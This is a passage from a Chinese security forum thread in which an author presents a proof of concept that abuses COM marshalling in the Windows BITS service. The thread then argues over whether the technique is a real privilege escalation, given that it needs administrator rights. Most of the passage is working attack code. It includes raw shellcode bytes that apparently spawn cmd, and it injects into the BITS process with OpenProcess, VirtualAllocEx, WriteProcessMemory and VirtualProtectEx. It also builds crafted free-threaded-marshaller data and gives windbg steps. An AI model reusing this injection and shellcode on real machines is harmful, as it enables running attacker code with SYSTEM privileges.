		GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } };
       //这里返回CLSID_FreeThreadedMarshaller就可以了,bit服务会作为CFreeMarshaler来unmarshal;
		memcpy(pCid, &CLSID_FreeThreadedMarshaller, sizeof(*pCid));

		return S_OK;
		
	}
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{

	    //往strem写入需要反序列化的数据也就是我之前构造的的secret
		return pStm->Write(&_data[0], _data.size(), &written);

`

void initParam()
{
//我的shellcode
char shellcode[] = "\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x48\x31\xdb\x48\x31\xf6\x8b\x5f\x3c\x48\x01\xfb\xb2\x88\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x99\x66\xba\x28\x05\x8b\x04\x96\x48\x01\xf8\xeb\x17\x59\x99\x48\xff\xc2\xff\xd0\x99\x66\xba\x29\x01\x8b\x04\x96\x48\x01\xf8\x48\x31\xc9\xff\xd0\xe8\xe4\xff\xff\xff\x63\x6d\x64";
	
	int len = strlen(shellcode);
	DWORD l = 0;
	printf("shellcode length %d bytes\n", len);

	VirtualProtect(shellcode, len, PAGE_EXECUTE_READWRITE, &l);
//976是bits服务的pid
   HANDLE btshl = OpenProcess(PROCESS_ALL_ACCESS,
		FALSE, 976);
	LPBYTE si[100];
	memset(&si, 0,sizeof(si));
	MEMORY_BASIC_INFORMATION basicInfo = { 0 };
	///FindSharedSection(*si, btshl);

	bstr_t szKey = _T( "aaaaaaaaaaaaaaa123456");
	LPVOID lpRemoteAddress = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	LPVOID lpRemoteAddress2 = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	LPVOID lpRemoteAddress3 = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 

	std::vector<BYTE> secret(16);
    //这里初始话我们CFreeMarshaler中自定义的的secret
	memcpy(&secret[0], szKey, secret.size());
    //构造secret
	std::vector<BYTE> retdata=	BuildFTMData(1, (ULONGLONG)lpRemoteAddress, secret);
    //把构造好的secret传给TypeLibWrapper让他里面unmarshal成CFreeMarshaler
	TypeLibWrapper *tlb = new TypeLibWrapper(target_tlb, secret);
    //把参数写入bit服务的内存中
    DWORD wrt;
	ULONGLONG refptr = ((ULONGLONG)lpRemoteAddress2 - 8);
	BOOL bl = WriteProcessMemory(btshl, lpRemoteAddress, &refptr, 8, &wrt);
	if (wrt == 0)
	{
		printf("[x] can not WriteProcessMemory process:%d\n", GetLastError());
	}
	ULONGLONG refptr2 = (ULONGLONG)lpRemoteAddress3;
	bl = WriteProcessMemory(btshl, lpRemoteAddress2, &refptr2,8, &wrt);
	if (wrt == 0)
	{
		printf("[x] can not WriteProcessMemory2 process:%d\n", GetLastError());
	}
	bl = WriteProcessMemory(btshl, lpRemoteAddress3, shellcode, (strlen(shellcode) + 1)*sizeof(char), &wrt);
	if (wrt == 0)
	{
		printf("[x] can not WriteProcessMemory2 process:%d\n", GetLastError());
	}
    //设置shellcode为可读写
	bl = VirtualProtectEx(btshl,lpRemoteAddress3, len, PAGE_EXECUTE_READWRITE, &l);
	
}

//构造secret最终用来反序列化
std::vector<BYTE> BuildFTMData(UINT mshflags, ULONGLONG ptr, const std::vector<BYTE>& secret)
{
	std::vector<BYTE> ret(4 + sizeof(ptr) + secret.size());

	memcpy(&ret[0], &mshflags, sizeof(mshflags));
	memcpy(&ret[4], &ptr, sizeof(ptr));
	memcpy(&ret[4 + sizeof(ptr)], &secret[0], secret.size());

	return ret;
}


`
参数都构造好了,就看最终CFreeMarshaler如何反序列化了,看代码:
    `
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{
		
		GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } };
       //这里返回CLSID_FreeThreadedMarshaller就可以了,bit服务会作为CFreeMarshaler来unmarshal;
		memcpy(pCid, &CLSID_FreeThreadedMarshaller, sizeof(*pCid));

		return S_OK;
		
	}
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{

	    //往strem写入需要反序列化的数据也就是我之前构造的的secret
		return pStm->Write(&_data[0], _data.size(), &written);

`


      下面借助windbg来调试: 
开启windbg双机调试,具体方法自己百度
第一步查看bits服务pid为976(16进制3d0)如图: 


执行命令 !process 0 0 svchost.exe 查找bits服务 如图: 


找到后它的process地址是fffffa8032b3e060 
依次运行,注意一定要等windbg加载ole32的符号要不然断点无效 

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2018-4-2 22:14 被王cb编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (17)
雪    币: 11695
活跃值: (7179)
能力值: ( LV13,RANK:550 )
在线值:
发帖
回帖
粉丝
2
poc在https://bbs.pediy.com/thread-225232.htm
2018-4-2 22:01
0
雪    币: 11695
活跃值: (7179)
能力值: ( LV13,RANK:550 )
在线值:
发帖
回帖
粉丝
3
对com组件漏洞有兴趣对可以加我微信cbwang505
2018-4-2 22:51
0
雪    币: 688
活跃值: (204)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
我居然不小心看完了全文,然后我发现了浪费了几分钟的青春.
2018-4-2 23:56
0
雪    币: 991
活跃值: (106)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
漏洞分析的很赞,不过使用场景有限,最多是admistrators提system
2018-4-3 00:06
0
雪    币: 11695
活跃值: (7179)
能力值: ( LV13,RANK:550 )
在线值:
发帖
回帖
粉丝
6
这是我的原创漏洞
2018-4-3 00:25
0
雪    币: 688
活跃值: (204)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
我都不知道你是真傻还是假傻.....
你知道太阳能手电筒不?不懂的去网上搜索下.
你注册COM本身就需要管理员权限.....而COM自身也有分为"激活权限,访问权限和配置权限",你另外那个文中说的什么使用regsvr32注册COM和修改COM的APPID这些,这些都是需要高权限操作的,我他妈的有了这些权限,我还绕个圈子去获取你System权限干屌?
"只要能从屋子里拿到钥匙就可以打开屋子的门锁进入到屋子了"<--废话一句,就和你所谓的"发现"一样
2018-4-3 08:18
0
雪    币: 11695
活跃值: (7179)
能力值: ( LV13,RANK:550 )
在线值:
发帖
回帖
粉丝
8
flarejune 我都不知道你是真傻还是假傻..... 你知道太阳能手电筒不?不懂的去网上搜索下. 你注册COM本身就需要管理员权限.....而COM自身也有分为"激活权限,访问权限和配置权限" ...
你才傻呢,你有看我的备注嘛,这个自定义com组件只是为了调试方便,可以换成任何windows自带的启动用户为interactiveuser的com组件,许多系统自带的com组件都可以,不需要自己再另行注册自己com组件,使用https://www.exploit-db.com/exploits/42021/中的方法,是可行的,我的文章你看了没有,com自带的appid是固定的oleview自己可以查,  CoInitializeSecurity(
                &appid,
                -1,
                NULL,
                NULL,
                RPC_C_AUTHN_LEVEL_CONNECT,
                RPC_C_IMP_LEVEL_IMPERSONATE,
                NULL,
                EOAC_NO_CUSTOM_MARSHAL  |  EOAC_DYNAMIC_CLOAKING  |  8,
                NULL);这个函数初始化appid安全参数也不需要管理员,如果你不懂com原理的不要瞎讲,先仔细把文章看完
2018-4-3 08:42
0
雪    币: 688
活跃值: (204)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
客人:老板,你的老鼠药没什么用啊,买回去都毒不死老鼠
老板:你怎么用的?你有没有抓住老鼠喂它吃?你抓住老鼠喂它吃,药不死它,假一赔十
客人:我抓住了它,我一锤子就敲死它了,要你的老鼠药干屌
最后于 2018-4-3 08:53 被flarejune编辑 ,原因:
2018-4-3 08:51
0
雪    币: 11695
活跃值: (7179)
能力值: ( LV13,RANK:550 )
在线值:
发帖
回帖
粉丝
10
你弄的出来嘛,你给我搞出一个不用管理员能到system的就服你
2018-4-3 08:56
0
雪    币: 11695
活跃值: (7179)
能力值: ( LV13,RANK:550 )
在线值:
发帖
回帖
粉丝
11
你就是来捣乱的是不是
2018-4-3 08:56
0
雪    币: 688
活跃值: (204)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
1."利用漏洞获取到System权限"这个是你自己文章的"理论"....不是我的理论,我只是推翻这个理论的,而你没能实现的情况下,为什么要要求我来实现?我可没有"发现"过什么oday漏洞
2."要获得System权限,就必须先获得Administrator权限"这个是你自己说的了,那么说明我上面说的都没错啦.我有管理员权限的话,我直接使用Remote调用就不可以启用System权限了么?绕那么多圈子图啥?
2018-4-3 09:03
0
雪    币: 11695
活跃值: (7179)
能力值: ( LV13,RANK:550 )
在线值:
发帖
回帖
粉丝
13
我说了是不完美的0day,我只是证明在system权限bits服务上运行shellcode的可行性,和证明远程调用方确实是bits服务,如果不用管理员能到system这么容易早就0day满天飞了,你来推翻我干什么,我只是初步的概念性证明,我是讨论技术的,来分析com组件原理,和可以利用的方式,在技术不够成熟的情况下目前还无法实现真正的0day,如果你不懂com技术,请不要来捣乱
2018-4-3 09:20
0
雪    币: 688
活跃值: (204)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
我可以纠正一下吗?这些所谓的"不完美"能不能换个词叫做"无法"?所谓的shellcode,就是在目标进程的"可执行"内存里面写入数据...修改内存权限,本身就需要和目标进程拥有同级或者更高级的权限就可以做到....
而我发现你对0day这个"名词"都不了解....你解释下什么叫做0day?未(不能)实现的东西也叫做0day?还漏洞?
"
理论上,男人有个子宫也可以产子
理论上,习得雌雄同体可以不需要性伴侣
理论上,马云给签个财产授权书给我,我会很有钱
理论上,没有贼就不会有警察
理论上,动物如果不会放屁,地球的空气会好很多
"
其实我都很多理论的.
2018-4-3 09:37
0
雪    币: 144
活跃值: (335)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
我的poc能实现功能:需要管理员身份运行,在打满所有补丁的server2008或win7操作系统,能在bits服务上运行shellcode,最终获得一个system权限的cmd

只是看功能的话  不知道有啥意义。。
2018-4-3 10:08
0
雪    币: 16
活跃值: (477)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
16
拥有管理员权限可以安装一个服务,  服务所拥有的权限也是system。
2018-4-3 11:23
0
雪    币: 11695
活跃值: (7179)
能力值: ( LV13,RANK:550 )
在线值:
发帖
回帖
粉丝
17
我的poc仅限于对技术的尝试,让大家多一点对com组件知识的理解,谢谢大家阅读
2018-4-3 12:03
0
雪    币: 218
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
表示没看懂。先编辑掉。
最后于 2018-4-3 15:09 被wanjumuma编辑 ,原因:
2018-4-3 14:34
0
游客
登录 | 注册 方可回帖
返回
//